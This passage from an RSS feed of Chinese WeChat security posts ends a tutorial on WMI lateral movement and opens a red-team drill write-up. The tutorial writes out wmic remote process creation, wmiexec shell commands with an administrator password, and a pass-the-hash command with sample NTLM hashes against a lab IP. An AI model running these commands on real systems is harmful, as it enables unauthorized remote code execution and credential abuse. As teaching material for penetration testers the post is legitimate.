auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;" start=""><li style="box-sizing: border-box;margin: 0px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span style="box-sizing: border-box;">远程服务器启动</span><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">Windows Management Instrumentation</code></span><span style="box-sizing: border-box;">服务（默认开启）</span></p></li><li style="box-sizing: border-box;margin: 0px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;"><span spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;">135</code></span><span style="box-sizing: border-box;"> 端口未被过滤 [</span><span style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">默认配置下目标主机防火墙开启将无法连接</span></strong></span><span style="box-sizing: border-box;">]</span></p></li></ol><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">连接失败的常见错误号：</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">1.开启防火墙时，允许共享例外</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">错误:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">代码 = 0x800706ba</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">说明 = RPC 服务器不可用。</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">设备 = Win32</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2.组策略阻止administraotr远程访问时</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">错误:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">代码 = 0x80070005</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">说明 = 拒绝访问。</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">设备 = Win32</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">3.IP安全策略阻止135时</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">错误:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">代码 = 0x800706ba</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">说明 = RPC 服务器不可用。</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">设备 = Win32</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">4.禁用winmgmt服务时</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">错误:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">代码 = 0x80070422</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">说明 = 无法启动服务，原因可能是已被禁用或与其相关联的设备没有启动。</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">设备 = Win32</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">5.拒绝wbem目录权限，无法使用wmic的</span></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">列出远程主机进程：</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">列出了192.168.52.129这台主机的进程信息</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="">wmic /node:192.168.52.129 /user:administrator /password:Password!! process list brief</pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5838509316770186" data-s="300,640" style="" data-type="png" data-w="644" src="https://wechat2rss.xlab.app/img-proxy/?k=eba89a4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFUyG3rIRQCBMzKuMz76X1fAXtJicLlJrJRsO27P9X5mzTib9nhtD44ZjQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">远程创建进程：在目标机器192.168.52.129成功执行了系统命令并输出&#34;tubai.txt&#34;，在目标指定目录可以发现文件。</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="">wmic /node:192.168.52.129 /user:administrator /password:Password!! process call create &#34;cmd.exe /c ipconfig &gt; c:\tubai.txt&#34;</pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.37784522003034904" data-s="300,640" style="" data-type="png" data-w="659" src="https://wechat2rss.xlab.app/img-proxy/?k=207cad14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFK3Lg4Q4ALumdYsNaZB7qGTdQFIOiaJibaacoAARaZ9EXh8Sgib3dBQ6yQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">wmiexec.vbs 自带的wmic没有回显，wmiexec.vbs 脚本利用WMI服务，通过写入临时文件并读取的方式获得回显。</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="">cscript wmiexec.vbs /shell 192.168.52.129 administrator Password!!</pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">可以看到，我们得到了一个半交互式shell。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3975346687211094" data-s="300,640" style="" data-type="png" data-w="649" src="https://wechat2rss.xlab.app/img-proxy/?k=14742ec5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFhKNMInliaV0m9T6xmwibaf6IKyATl4EL9PJG7Sa2iaofgVhOjgrebRicHA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span></h3><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">impacket套件</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">impacket套件是通过445端口进行通信的，不是135端口。我们这次用windows下的impacket，已经有前人把他转成exe了。</span><span style="box-sizing: border-box;"></span><br/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">Windows下</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang=""> <a href="https://github.com/maaaaz/impacket-examples-windows" target="_blank">https://github.com/maaaaz/impacket-examples-windows</a></pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">成功得到目标主机shell：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5038520801232665" data-s="300,640" style="" data-type="png" data-w="649" src="https://wechat2rss.xlab.app/img-proxy/?k=528a36e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKF84VwUWZwR4oLq2q6xVqjRP14NlMibk1PzSq4RU3Og22icAF19sRQPs9A%2F640%3Fwx_fmt%3Dpng"/></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="">wmiexec.exe administrator:Password!!@192.168.52.129</pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">哈希传递获得shell：</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">当抓到的密码NTLM解不开咋办呢？老生常谈的问题了，我们也可以利用impacket中wmiexec达到哈希传递的效果来获得一个shell。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">命令格式为：</span></p><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="">wmiexec.exe -hashes LM哈希：NTLM哈希 域名/用户名@目标IP</pre><pre spellcheck="false" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;white-space: pre-wrap;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-color: rgb(231, 234, 237);border-style: solid;border-width: 1px;border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-position: inherit;background-repeat: inherit;" lang="">wmiexec.exe -hashes e52cac67419a9a22a67a448822b50c99:2b07f7b579bb97532a9eb37753765d8f tubai/administrator@192.168.52.129</pre><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.29457364341085274" data-s="300,640" style="" data-type="png" data-w="774" src="https://wechat2rss.xlab.app/img-proxy/?k=7e0ea35d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxzraicTIdklNRnZgpuOCYYKFfZ1bBkTW89HQr2ygHARkkYAg7JR3x80h8Npv6iacFx4pTy6Y8XW87TA%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">参考</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.se7ensec.cn/2020/07/12/" target="_blank">https://www.se7ensec.cn/2020/07/12/</a></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://blog.csdn.net/qq_27446553/article/details/46008473" target="_blank">https://blog.csdn.net/qq_27446553/article/details/46008473</a></span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">总结</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">随着powershell出现占据了系统管理主流地位，但不可否认WMI依旧是WINDOWS系统管理的利器，他在后渗透中的用法也不是我的一篇浅文能够概过的，本篇文章从wmi基础知识出发，延伸到我们所熟知的横向移动姿势，希望能给阅读的师傅带来帮助，若文章有任何问题望各位师傅斧正！</span></p><p><br/></p>



<p><a href="2247483914">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5470d586&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483914%26idx%3D1%26sn%3D79c0a98a32c1f878e93fb95fa29cea24%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 28 Jul 2021 20:25:00 +0800</pubDate>
    </item>
    <item>
      <title>记一次攻防演练极端环境下不出网机器上线</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483891&amp;idx=1&amp;sn=4091066c564f6b01cd2feccf894d8455</link>
      <description>记一次攻防演练极端环境下不出网机器上线</description>
      <content:encoded><![CDATA[<p>
原创 <span>huahu</span> <span>2021-05-27 17:48</span> <span style="display: inline-block;"></span>
</p>

<p>记一次攻防演练极端环境下不出网机器上线</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7abdc1be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxw4OyVn643ntcjuibLxb8J0TJhKsVvaDtfcnXe5icjs4jNWy1FoI93Z0B75KBk36mvM4nzupoqQ0DPQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">前言</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">打某目标时，通过钓鱼进入了办公网和开发网(双网卡)。然后<strong>顺着开发网用ssh弱口令和weblogic、tomcat打了大概百来台机</strong><strong>器</strong>，这是前提。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">正文</h3><h4 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.1rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: 